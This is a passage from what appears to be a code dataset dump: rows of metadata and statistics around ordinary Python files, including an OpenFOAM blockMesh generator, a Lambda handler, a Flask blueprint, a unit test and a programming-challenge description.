| 16.5 | 42 | 0.715152 | 21 | 165 | 5.619048 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 165 | 9 | 43 | 18.333333 | 0.874074 | 0.139394 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
396c5054b66e7aeae54d5dff279de66ba07d8942 | 84 | py | Python | examples/fixtures/python3.8-app1/index.py | gregn610/terraform-aws-lambda | 258e82b50adc451f51544a2b57fd1f6f8f4a61e4 | [
"Apache-2.0"
] | 418 | 2020-06-03T17:35:53.000Z | 2022-03-30T19:39:37.000Z | examples/fixtures/python3.8-app1/index.py | gregn610/terraform-aws-lambda | 258e82b50adc451f51544a2b57fd1f6f8f4a61e4 | [
"Apache-2.0"
] | 250 | 2020-06-04T13:29:09.000Z | 2022-03-31T10:50:50.000Z | examples/fixtures/python3.8-app1/index.py | gregn610/terraform-aws-lambda | 258e82b50adc451f51544a2b57fd1f6f8f4a61e4 | [
"Apache-2.0"
] | 326 | 2020-06-04T11:13:53.000Z | 2022-03-30T05:15:09.000Z | def lambda_handler(event, context):
print("Hello from app1!")
return event
| 16.8 | 35 | 0.690476 | 11 | 84 | 5.181818 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014925 | 0.202381 | 84 | 4 | 36 | 21 | 0.835821 | 0 | 0 | 0 | 0 | 0 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
396d6dc9c08ee9267bb4a260997453e1070326e0 | 220 | py | Python | web/controllers/tableau/__init__.py | ZZh2333/AImusic | 6e5d527c390f3401bdf8666008d7211c4a457beb | [
"MIT"
] | null | null | null | web/controllers/tableau/__init__.py | ZZh2333/AImusic | 6e5d527c390f3401bdf8666008d7211c4a457beb | [
"MIT"
] | null | null | null | web/controllers/tableau/__init__.py | ZZh2333/AImusic | 6e5d527c390f3401bdf8666008d7211c4a457beb | [
"MIT"
] | null | null | null | from flask import Blueprint,render_template
route_tableau = Blueprint("tableau_page",__name__)
from .tableauPerson import *
from .tableauTime import *
@route_tableau.route('/')
def tableau():
return "Tableau Page" | 22 | 50 | 0.772727 | 26 | 220 | 6.230769 | 0.538462 | 0.148148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122727 | 220 | 10 | 51 | 22 | 0.839378 | 0 | 0 | 0 | 0 | 0 | 0.113122 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.428571 | 0.142857 | 0.714286 | 0.285714 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 4 |
399b44478d8cef2e1c1d6a8a2b09c8df94705c1b | 18,006 | py | Python | tools/generate_blockMesh.py | emiliopomares/flow-separation-prediction | ca4585a8263cd5933889fbd763154e2f3851969a | [
"MIT"
] | null | null | null | tools/generate_blockMesh.py | emiliopomares/flow-separation-prediction | ca4585a8263cd5933889fbd763154e2f3851969a | [
"MIT"
] | null | null | null | tools/generate_blockMesh.py | emiliopomares/flow-separation-prediction | ca4585a8263cd5933889fbd763154e2f3851969a | [
"MIT"
] | null | null | null | # Based off Thien Phans's work
import math
hyperparameters = {
'z_depth': 0.3,
'mesh_scale': 1,
'cell_size_at_leading_edge': 0.01,
'cell_size_at_trailing_edge': 0.03,
'cell_size_in_middle': 0.035,
'separating_point_position': 0.4,
'boundary_layer_thickness': 0.1,
'first_layer_thickness': 0.0002, # 0.00001, # was 0.005 working value 0.00002
'expansion_ratio': 1.2,
'max_cell_size_in_inlet': 1,
'max_cell_size_in_outlet': 1,
'max_cell_size_in_inlet_x_outlet': 1
}
def generate_blockMesh(pointList, aoa, inlet_x_dist, outlet_x_dist):
return generate_blockMesh_full(pointList, aoa, inlet_x_dist, outlet_x_dist, \
hyperparameters['z_depth'], \
hyperparameters['mesh_scale'], \
hyperparameters['cell_size_at_leading_edge'], \
hyperparameters['cell_size_at_trailing_edge'], \
hyperparameters['cell_size_in_middle'], \
hyperparameters['separating_point_position'], \
hyperparameters['boundary_layer_thickness'], \
hyperparameters['first_layer_thickness'], \
hyperparameters['expansion_ratio'], \
hyperparameters['max_cell_size_in_inlet'], \
hyperparameters['max_cell_size_in_outlet'], \
hyperparameters['max_cell_size_in_inlet_x_outlet'])
globalRefine = 2.5
parallelRefine = 1*globalRefine
normalRefine = 1*globalRefine
def generate_blockMesh_full(pointList, aoa, inlet_x_dist, \
outlet_x_dist, z_depth, mesh_scale, cell_size_at_leading_edge, \
cell_size_at_trailing_edge, cell_size_in_middle, \
separating_point_position, boundary_layer_thickness, \
first_layer_thickness, expansion_ratio, \
max_cell_size_in_inlet, max_cell_size_in_outlet, \
max_cell_size_in_inlet_x_outlet, write_to_file=True):
num_mesh_on_boundary_layer = round(math.log(1+(expansion_ratio-1)*boundary_layer_thickness/first_layer_thickness)/math.log(expansion_ratio))
expansion_ratio_on_bl = expansion_ratio**num_mesh_on_boundary_layer
last_layer_thickness = first_layer_thickness * expansion_ratio ** num_mesh_on_boundary_layer
expansion_ratio_out_of_bl = max_cell_size_in_inlet / last_layer_thickness
expansion_ratio_tail = max_cell_size_in_outlet / cell_size_at_trailing_edge
expansion_ratio_1 = (last_layer_thickness/inlet_x_dist) * (expansion_ratio_out_of_bl-1)+1
num_mesh_out_of_boundary_layer = round(math.log(expansion_ratio_out_of_bl)/math.log(expansion_ratio_1))
expansion_ratio_2 = (cell_size_at_trailing_edge / outlet_x_dist) * (expansion_ratio_tail-1)+1
expansion_ratio_in_leading = cell_size_in_middle / cell_size_at_leading_edge
expansion_ratio_3 = (cell_size_at_leading_edge/separating_point_position) * (expansion_ratio_in_leading-1) + 1
expansion_ratio_4 = (cell_size_at_trailing_edge/(1-cell_size_in_middle)) + 1
num_mesh_in_trailing = 20
num_mesh_3 = math.log(expansion_ratio_in_leading) / math.log(expansion_ratio_3)
num_mesh_in_leading = round(num_mesh_3)
expansion_ratio_trailing = cell_size_in_middle / cell_size_at_trailing_edge
inlet_expansion_ratio_1 = cell_size_at_trailing_edge / max_cell_size_in_inlet
inlet_expansion_ratio_2 = 0.25
expansion_ratio_at_outlet = max_cell_size_in_inlet_x_outlet * (expansion_ratio_out_of_bl/max_cell_size_in_outlet) * (num_mesh_out_of_boundary_layer+num_mesh_on_boundary_layer)/num_mesh_out_of_boundary_layer
num_mesh_1 = math.log(expansion_ratio_out_of_bl)/math.log(expansion_ratio_1)
num_mesh_2 = math.log(expansion_ratio_tail)/math.log(expansion_ratio_2)
num_mesh_4 = math.log(expansion_ratio_trailing)/math.log(expansion_ratio_4)
a = max_cell_size_in_inlet_x_outlet**(1/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer))
num_mesh_at_tail = round(num_mesh_2)
result = "\n"
result += "FoamFile\n"
result += "{\n"
result += " version 2.0;\n"
result += " format ascii;\n"
result += " class dictionary;\n"
result += " object blockMeshDict;\n"
result += "}\n"
result += "convertToMeters " + str(mesh_scale) + ";\n"
result += "\n"
result += "geometry\n"
result += "{\n"
result += "}\n"
result += "\n"
result += "vertices\n"
result += "("
result += " ( 0 0 0)\n"
result += " ( 1 0 0)\n"
result += " ( 1 %g 0)\n" % inlet_x_dist
result += " ( %g 0 0)\n" % (-inlet_x_dist+1)
result += " ( 0 0 %g)\n" % z_depth
result += " ( 1 0 %g)\n" % z_depth
result += " ( 1 %g %g)\n" % (inlet_x_dist, z_depth)
result += " ( %g 0 %g)\n" % (-inlet_x_dist+1, z_depth)
result += " ( %g %g 0)\n" % (outlet_x_dist+1, math.sin(math.pi/180*aoa)*(outlet_x_dist+1))
result += " ( %g %g 0)\n" % (outlet_x_dist+1, inlet_x_dist)
result += " ( %g %g %g)\n" % (outlet_x_dist+1, math.sin(math.pi/180*aoa)*(outlet_x_dist+1), z_depth)
result += " ( %g %g %g)\n" % (outlet_x_dist+1, inlet_x_dist, z_depth)
result += " ( %g %g %g)\n" % (1, -inlet_x_dist, 0)
result += " ( %g %g %g)\n" % (1, -inlet_x_dist, z_depth)
result += " ( %g %g 0)\n" % (outlet_x_dist+1, -inlet_x_dist)
result += " ( %g %g %g)\n" % (outlet_x_dist+1, -inlet_x_dist, z_depth)
result += " ( 1 0 0)\n"
result += " ( 1 0 %g)\n" % (z_depth)
result += ");"
result += "\n"
result += "blocks\n"
result += "(\n"
result += " hex (0 1 2 3 4 5 6 7) (%g %g 1)\n" % (round(parallelRefine*(num_mesh_in_leading+num_mesh_in_trailing)), round(normalRefine*(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer)))
result += " edgeGrading\n"
result += " (\n"
result += " (\n"
result += " ( %g %g %g )\n" % (separating_point_position, num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_in_leading)
result += " ( %g %g %g )\n" % (1-separating_point_position, 1-num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_trailing)
result += " )\n"
result += " %g %g\n" % (inlet_expansion_ratio_1, inlet_expansion_ratio_1)
result += " (\n"
result += " ( %g %g %g )\n" % (separating_point_position, num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_in_leading)
result += " ( %g %g %g )\n" % (1-separating_point_position, 1-num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_trailing)
result += " )\n"
# y direction expansion ratio
result += " (\n"
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_on_bl)
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_out_of_bl)
result += " )\n"
result += " (\n"
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_on_bl)
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_out_of_bl)
result += " )\n"
result += " (\n"
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_on_bl)
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_out_of_bl)
result += " )\n"
result += " (\n"
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_on_bl)
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_out_of_bl)
result += " )\n"
# z direction expansion ratio
result += " 1 1 1 1"
result += " )\n"
result += " hex ( 1 8 9 2 5 10 11 6 ) ( %g %g 1 )\n" % (round(parallelRefine*num_mesh_at_tail), round(normalRefine*(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer)))
result += " edgeGrading\n"
result += " (\n"
# x direction expansion ratio
result += " %g %g %g %g " % (expansion_ratio_tail, expansion_ratio_tail, expansion_ratio_tail, expansion_ratio_tail)
# y direction expansion ratio
result += " (\n"
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_on_bl)
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_out_of_bl)
result += " )\n"
result += " %g %g \n" % (expansion_ratio_at_outlet, expansion_ratio_at_outlet)
result += " (\n"
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_on_bl)
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), expansion_ratio_out_of_bl)
result += " )\n"
# z direction expansion ratio
result += " 1 1 1 1 \n"
result += " )\n"
result += " hex (3 12 16 0 7 13 17 4) (%g %g 1)\n" % (round(parallelRefine*(num_mesh_in_leading+num_mesh_in_trailing)), round(normalRefine*(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer)))
result += " edgeGrading\n"
result += " (\n"
# x direction expansion ratio
result += " %g " % (inlet_expansion_ratio_1)
result += " (\n"
result += " ( %g %g %g )\n" % (separating_point_position, num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_in_leading)
result += " ( %g %g %g )\n" % (1-separating_point_position, 1-num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_trailing)
result += " )\n"
result += " (\n"
result += " ( %g %g %g )\n" % (separating_point_position, num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_in_leading)
result += " ( %g %g %g )\n" % (1-separating_point_position, 1-num_mesh_in_leading/(num_mesh_in_leading+num_mesh_in_trailing), expansion_ratio_trailing)
result += " )\n"
result += " %g " % (inlet_expansion_ratio_1)
# y direction expansion ratio
result += " (\n"
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_out_of_bl)
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_on_bl)
result += " )\n"
result += " (\n"
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_out_of_bl)
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_on_bl)
result += " )\n"
result += " (\n"
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_out_of_bl)
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_on_bl)
result += " )\n"
result += " (\n"
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_out_of_bl)
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_on_bl)
result += " )\n"
# z direction expansion ratio
result += " 1 1 1 1 \n"
result += " )\n"
result += "\n"
result += " hex ( 12 14 8 16 13 15 10 17 ) ( %g %g 1 ) \n" % (round(parallelRefine*num_mesh_at_tail), round(normalRefine*(num_mesh_on_boundary_layer + num_mesh_out_of_boundary_layer)))
result += " edgeGrading\n"
result += " (\n"
# x direction expansion ratio
result += " %g %g %g %g \n" % (expansion_ratio_tail, expansion_ratio_tail, expansion_ratio_tail, expansion_ratio_tail)
# y direction expansion ratio
result += " (\n"
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_out_of_bl)
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_on_bl)
result += " )\n"
result += " %g %g \n" % (1/expansion_ratio_at_outlet, 1/expansion_ratio_at_outlet)
result += " (\n"
result += " ( %g %g %g )\n" % (1-boundary_layer_thickness/inlet_x_dist, 1-num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_out_of_bl)
result += " ( %g %g %g )\n" % (boundary_layer_thickness/inlet_x_dist, num_mesh_on_boundary_layer/(num_mesh_on_boundary_layer+num_mesh_out_of_boundary_layer), 1/expansion_ratio_on_bl)
result += " )\n"
# z direction expansion ratio
result += " 1 1 1 1 \n"
result += " )\n"
result += ");\n"
result += "\n"
result += "edges\n"
result += "(\n"
result += " arc 3 2 ( %g %g %g )\n" % ( -inlet_x_dist*math.sin(math.pi/4)+1, inlet_x_dist*math.sin(math.pi/4), 0)
result += " arc 7 6 ( %g %g %g )\n" % ( -inlet_x_dist*math.sin(math.pi/4)+1, inlet_x_dist*math.sin(math.pi/4), z_depth)
result += " spline 1 0 \n"
result += " (\n"
for i in range(0, 49):
result += " ( %g %g 0 ) \n" % (pointList[i][0], pointList[i][1])
result += " )\n"
result += "\n"
result += " spline 5 4 \n"
result += " (\n"
for i in range(0, 49):
result += " ( %g %g %g ) \n" % (pointList[i][0], pointList[i][1], z_depth)
result += " )\n"
result += "\n"
result += " arc 3 12 ( %g %g 0 ) \n" % (-inlet_x_dist*math.sin(math.pi/4)+1, -inlet_x_dist*math.sin(math.pi/4))
result += " arc 7 13 ( %g %g %g ) \n" % (-inlet_x_dist*math.sin(math.pi/4)+1, -inlet_x_dist*math.sin(math.pi/4), z_depth)
result += "\n"
result += " spline 0 16 \n"
result += " (\n"
for i in range(0, 49):
result += " ( %g %g %g ) \n" % (pointList[50+i][0], pointList[50+i][1], 0)
result += " )\n"
result += "\n"
result += " spline 4 17 \n"
result += " (\n"
for i in range(0, 49):
result += " ( %g %g %g ) \n" % (pointList[50+i][0], pointList[50+i][1], z_depth)
result += " )\n"
result += "\n"
result += ");\n"
result += "\n"
result += "faces\n"
result += "(\n"
result += ");\n"
result += "\n"
result += "faces\n"
result += "(\n"
result += ");\n"
result += "\n"
result += "defaultPatch\n"
result += "{\n"
result += " name frontAndBack;\n"
result += " type empty;\n"
result += "}\n"
result += "\n"
result += "boundary\n"
result += "(\n"
result += "inlet\n"
result += " {\n"
result += " type patch; \n"
result += " faces \n"
result += " ( \n"
result += " ( 9 2 6 11 ) \n"
result += " ( 2 3 7 6 ) \n"
result += " ( 3 12 13 7 ) \n"
result += " ( 12 15 14 13 ) \n"
result += " ); \n"
result += " }\n"
result += "\n"
result += "outlet\n"
result += " {\n"
result += " type patch; \n"
result += " faces \n"
result += " (\n"
result += " ( 8 9 10 11 ) \n"
result += " ( 15 8 10 14 ) \n"
result += " );\n"
result += " }\n"
result += "\n"
result += "walls\n"
result += " {\n"
result += " type wall;\n"
result += " faces\n"
result += " (\n"
result += " ( 0 1 5 4 )\n"
result += " ( 0 4 17 16 )\n"
result += " );\n"
result += " }\n"
result += "\n"
result += "interface1\n"
result += " {\n"
result += " type patch;\n"
result += " faces\n"
result += " (\n"
result += " ( 1 8 10 5 )\n"
result += " );\n"
result += " }\n"
result += "interface2\n"
result += " {\n"
result += " type patch;\n"
result += " faces\n"
result += " (\n"
result += " ( 16 17 10 8 )\n"
result += " );\n"
result += " }\n"
result += ");"
result += "\n"
result += "mergePatchPairs\n"
result += "(\n"
result += " ( interface1 interface2 )\n"
result += ");\n"
return result
| 56.622642 | 210 | 0.636121 | 2,638 | 18,006 | 3.925701 | 0.050038 | 0.100039 | 0.114233 | 0.085168 | 0.821939 | 0.758497 | 0.729336 | 0.695635 | 0.663384 | 0.649479 | 0 | 0.026035 | 0.21926 | 18,006 | 317 | 211 | 56.801262 | 0.710627 | 0.020993 | 0 | 0.54698 | 0 | 0 | 0.194367 | 0.022372 | 0 | 0 | 0 | 0 | 0 | 1 | 0.006711 | false | 0 | 0.003356 | 0.003356 | 0.016779 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
39abc239713126edb367413a32def1f05cea5b0d | 3,002 | py | Python | DailyProgrammer/DP20170927B.py | DayGitH/Python-Challenges | bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf | [
"MIT"
] | 2 | 2020-12-23T18:59:22.000Z | 2021-04-14T13:16:09.000Z | DailyProgrammer/DP20170927B.py | DayGitH/Python-Challenges | bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf | [
"MIT"
] | null | null | null | DailyProgrammer/DP20170927B.py | DayGitH/Python-Challenges | bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf | [
"MIT"
] | null | null | null | """
[2017-09-27] Challenge #333 [Intermediate] Beer Street and Gin Lane
https://www.reddit.com/r/dailyprogrammer/comments/72s7xp/20170927_challenge_333_intermediate_beer_street/
# Description
The US state of Iowa has relesed over a year's worth of liquor sales data, great for data mining. In this practical
exercise we'll be asking you to do some large scale data analysis. Hopefully this data set is big enough that you have
to make some decisions about data structures and algorithms and don't just `sort | uniq`.
This particular challenge differs from many we do because I anticipate you'll use languages and tools such as SQL,
LINQ, and similar, although if you feel like using a more conventional programming language please do. My objective
with this particular challenge is to explore a data science type of a challenge, inspired by some comments earlier this
year seeking more practical challenges.
The title of this challenge refers to [artwork by William
Hogarth](https://en.wikipedia.org/wiki/Beer_Street_and_Gin_Lane).
# Questions to Answer
**EDIT** After reading [this
comment](https://www.reddit.com/r/dailyprogrammer/comments/72s7xp/20170927_challenge_333_intermediate_beer_street/dnkzeff/?utm_content=permalink&utm_medium=front&utm_source=reddit&utm_name=dailyprogrammer)
that does a great job explaining the data set (I had misinterpreted it when I wrote this up), i edited the questions.
Also I don't think Iowa tracks beer sales in this category.
* ~~For beer sales across Iowa (e.g. where someone buys beer, not just any alcohol), what is the most popular street
name across all cities?~~
* What's the most popular non-beer beverage bought in 2016?
* What store has made the most profit (the difference between the state cost per bottle and the sales price per bottle
times the quantity of all bottles sold)?
* ~~What are the top types of alcohol commonly bought together? (e.g. "wine and tequila")~~
* What day of the week sees the most vodka sales?
* Which streets in Iowa are really Beer Street and Gin Lane?
* **NEW** Where in the world is all of that root beer schnapps going?
Challenges for you to consider include runtime analysis and performance.
Feel free to highlight any insights you find and how you found them - that's in scope for this challenge.
# Get the Data
You can get [the data](https://data.iowa.gov/Economy/Iowa-Liquor-Sales/m3tr-qhgy) on the Iowa data website. Export it
to get it into a format (e.g. CSV) suitable for coding - don't bother trying to scrape it!
# Notes
Some links that may be useful
* [Harvard CS 229r: Algorithms for Big Data](http://people.seas.harvard.edu/~minilek/cs229r/)
* [Data Structures and Algorithms for Big Databases
presentation](http://www.slideshare.net/omnidba/data-structures-and-algorithms-for-big-databases)
* [SQL Introduction](https://www.w3schools.com/sql/sql_intro.asp)
* [LINQ Introduction](http://csharp-station.com/Tutorial/Linq/Lesson01)
"""
def main():
pass
if __name__ == "__main__":
main()
| 58.862745 | 205 | 0.780813 | 494 | 3,002 | 4.690283 | 0.510121 | 0.02158 | 0.031075 | 0.036254 | 0.149331 | 0.113077 | 0.113077 | 0.076823 | 0.076823 | 0.076823 | 0 | 0.020591 | 0.142572 | 3,002 | 50 | 206 | 60.04 | 0.879565 | 0.976016 | 0 | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0.25 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
39dcca1b50a446c760c8ed38ac3e19b76dc67fb9 | 1,175 | py | Python | test/examples/utilities/test_actions.py | osu-xai/abp | cd83eaa2810a1c5350c849303d61639576c0bb0d | [
"MIT"
] | null | null | null | test/examples/utilities/test_actions.py | osu-xai/abp | cd83eaa2810a1c5350c849303d61639576c0bb0d | [
"MIT"
] | 9 | 2018-11-14T23:35:05.000Z | 2019-05-22T18:31:30.000Z | test/examples/utilities/test_actions.py | osu-xai/abp | cd83eaa2810a1c5350c849303d61639576c0bb0d | [
"MIT"
] | 1 | 2018-11-14T22:34:09.000Z | 2018-11-14T22:34:09.000Z | import sys
import unittest
sys.path.append('../../../abp/examples/pysc2/tug_of_war/')
from abp.examples.pysc2.tug_of_war.utilities import episode
from abp.examples.pysc2.tug_of_war.utilities import wave
from abp.examples.pysc2.tug_of_war.utilities import actions
import test_wave
class TestActions(unittest.TestCase):
def test_get_actions(self):
w = test_wave.get_waves(2)
prev_wave = w[0]
curr_wave = w[1]
a = actions.Actions(prev_wave, curr_wave)
self.assertEqual(a.top_self_marine, 100)
self.assertEqual(a.top_self_baneling, 100)
self.assertEqual(a.top_self_immortal, 100)
self.assertEqual(a.bottom_self_marine, 100)
self.assertEqual(a.bottom_self_baneling, 100)
self.assertEqual(a.bottom_self_immortal, 100)
self.assertEqual(a.top_enemy_marine, 100)
self.assertEqual(a.top_enemy_baneling, 100)
self.assertEqual(a.top_enemy_immortal, 100)
self.assertEqual(a.bottom_enemy_marine, 100)
self.assertEqual(a.bottom_enemy_baneling, 100)
self.assertEqual(a.bottom_enemy_immortal, 100)
if __name__ == "__main__":
unittest.main()
| 30.128205 | 59 | 0.713191 | 165 | 1,175 | 4.781818 | 0.254545 | 0.228137 | 0.243346 | 0.264892 | 0.717364 | 0.693283 | 0.163498 | 0.163498 | 0.163498 | 0 | 0 | 0.044838 | 0.18383 | 1,175 | 38 | 60 | 30.921053 | 0.777894 | 0 | 0 | 0 | 0 | 0 | 0.04 | 0.033191 | 0 | 0 | 0 | 0 | 0.444444 | 1 | 0.037037 | false | 0 | 0.222222 | 0 | 0.296296 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
f2f7b3c97818cb2e5dd110e91b4a7c9575c79e3b | 145 | py | Python | core/entity/entity.py | Diralf/evolution | 659e245bfe90cda7557f41af5a1d87a550b8e6fc | [
"MIT"
] | null | null | null | core/entity/entity.py | Diralf/evolution | 659e245bfe90cda7557f41af5a1d87a550b8e6fc | [
"MIT"
] | null | null | null | core/entity/entity.py | Diralf/evolution | 659e245bfe90cda7557f41af5a1d87a550b8e6fc | [
"MIT"
] | null | null | null |
class Entity:
valid_id = 0
def __init__(self):
self.id = Entity.valid_id
self.tag = None
Entity.valid_id += 1
| 14.5 | 33 | 0.558621 | 20 | 145 | 3.7 | 0.55 | 0.445946 | 0.527027 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021277 | 0.351724 | 145 | 9 | 34 | 16.111111 | 0.765957 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
f2ff80b4805e43535ac8b61406d1ea883bf4a016 | 322 | py | Python | views/views.py | nanxiaoshu/coding_dream | d5650cc7c42d3b5ce70117e33a03653a21523da8 | [
"MIT"
] | null | null | null | views/views.py | nanxiaoshu/coding_dream | d5650cc7c42d3b5ce70117e33a03653a21523da8 | [
"MIT"
